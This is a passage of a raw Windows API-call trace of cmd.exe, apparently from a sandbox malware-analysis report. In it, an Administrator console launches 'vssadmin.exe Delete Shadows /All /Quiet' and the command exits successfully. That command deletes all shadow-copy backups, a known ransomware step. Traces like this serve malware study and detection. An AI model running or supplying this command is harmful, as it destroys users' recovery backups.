(_FileHandle=0) returned 0xb8 [0079.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.652] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr=" e\n\n\nA\"\n") returned 1 [0079.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.652] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="/\n\n\nA\"\n") returned 1 [0079.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.652] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="A\n\nA\"\n") returned 1 [0079.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.653] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="l\nA\"\n") returned 1 [0079.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.653] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="lA\"\n") returned 1 [0079.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.653] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr=" \"\n") returned 1 [0079.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.653] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="/\n") returned 1 [0079.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.653] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="Q") returned 1 [0079.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.654] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e366, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0079.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.654] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e368, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0079.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.654] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0079.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.654] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0079.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.655] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0079.655] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.655] GetFileType (hFile=0xb8) returned 0x3 [0079.655] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.655] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.655] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.655] GetFileType (hFile=0x120) returned 0x3 [0079.655] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin.exe Delete Shadows /All /Quiet\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin.exe Delete Shadows /All /Quiet\n", lpUsedDefaultChar=0x0) returned 41 [0079.655] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x28, lpOverlapped=0x0) returned 1 [0079.655] GetProcessHeap () returned 0x240000 [0079.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.655] GetProcessHeap () returned 0x240000 [0079.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.655] GetProcessHeap () returned 0x240000 [0079.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.655] GetProcessHeap () returned 0x240000 [0079.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x256510 [0079.655] GetProcessHeap () returned 0x240000 [0079.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x25aa40 [0079.656] GetConsoleOutputCP () returned 0x1b5 [0079.656] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.656] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.656] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.656] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vssadmin.exe")) returned 0xffffffff [0079.657] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0079.657] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0079.657] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0079.657] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0079.657] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0079.657] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0079.657] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0079.657] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0079.657] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0079.657] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0079.657] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0079.657] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0079.657] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0079.657] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0079.657] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0079.657] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0079.657] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0079.658] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0079.658] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0079.658] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0079.658] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0079.658] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0079.658] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0079.658] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0079.658] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0079.658] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0079.658] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0079.658] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0079.658] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0079.658] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0079.658] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0079.658] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0079.658] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0079.658] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0079.658] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0079.658] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0079.658] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0079.658] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0079.658] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0079.658] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0079.658] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0079.658] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0079.658] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0079.659] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0079.659] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0079.659] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0079.659] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0079.659] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0079.659] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0079.659] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0079.659] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0079.659] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0079.659] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0079.659] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0079.659] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0079.659] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0079.659] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0079.659] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0079.659] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0079.659] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0079.659] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0079.659] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0079.659] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0079.659] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0079.659] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0079.659] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0079.659] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0079.659] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0079.659] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0079.659] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0079.660] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0079.660] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0079.660] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0079.660] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0079.660] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0079.660] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0079.660] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0079.660] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0079.660] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0079.660] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0079.660] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0079.660] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0079.660] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0079.660] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0079.660] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0079.660] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0079.660] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0079.660] GetProcessHeap () returned 0x240000 [0079.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.660] GetProcessHeap () returned 0x240000 [0079.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x62) returned 0x25ba10 [0079.660] GetProcessHeap () returned 0x240000 [0079.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0079.660] SetErrorMode (uMode=0x0) returned 0x1 [0079.661] SetErrorMode (uMode=0x1) returned 0x0 [0079.661] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.661] SetErrorMode (uMode=0x1) returned 0x1 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x76) returned 0x25c5b0 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x76 [0079.661] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.661] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.661] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.661] GetProcessHeap () returned 0x240000 [0079.661] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.661] GetProcessHeap () returned 0x240000 [0079.662] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.662] GetLastError () returned 0x2 [0079.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.662] GetLastError () returned 0x2 [0079.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.662] GetLastError () returned 0x2 [0079.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.662] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.663] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.663] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.663] GetProcessHeap () returned 0x240000 [0079.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.663] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.663] GetProcessHeap () returned 0x240000 [0079.663] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xc8) returned 0x259180 [0079.663] GetProcessHeap () returned 0x240000 [0079.663] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xc8 [0079.663] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin.exe Delete Shadows /All /Quiet") returned 1 [0079.664] GetProcessHeap () returned 0x240000 [0079.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.664] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.664] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.664] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.664] GetProcessHeap () returned 0x240000 [0079.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.664] GetProcessHeap () returned 0x240000 [0079.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.664] GetProcessHeap () returned 0x240000 [0079.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589b0 [0079.664] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xb70, dwThreadId=0xaf0)) returned 1 [0079.684] CloseHandle (hObject=0x50) returned 1 [0079.684] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.684] GetProcessHeap () returned 0x240000 [0079.684] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.684] GetEnvironmentStringsW () returned 0x25ba90* [0079.684] GetProcessHeap () returned 0x240000 [0079.684] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0079.684] FreeEnvironmentStringsW (penv=0x25ba90) returned 1 [0079.684] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.684] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.685] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0143.576] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x0) returned 1 [0143.576] CloseHandle (hObject=0x54) returned 1 [0143.576] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000000") returned 8 [0143.577] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0143.577] GetProcessHeap () returned 0x240000 [0143.577] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0143.577] GetEnvironmentStringsW () returned 0x261b10* [0143.577] GetProcessHeap () returned 0x240000 [0143.577] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0143.577] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0143.577] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0143.577] GetProcessHeap () returned 0x240000 [0143.577] HeapFree (in: hHeap=0x240000, dwFlags=0x0, 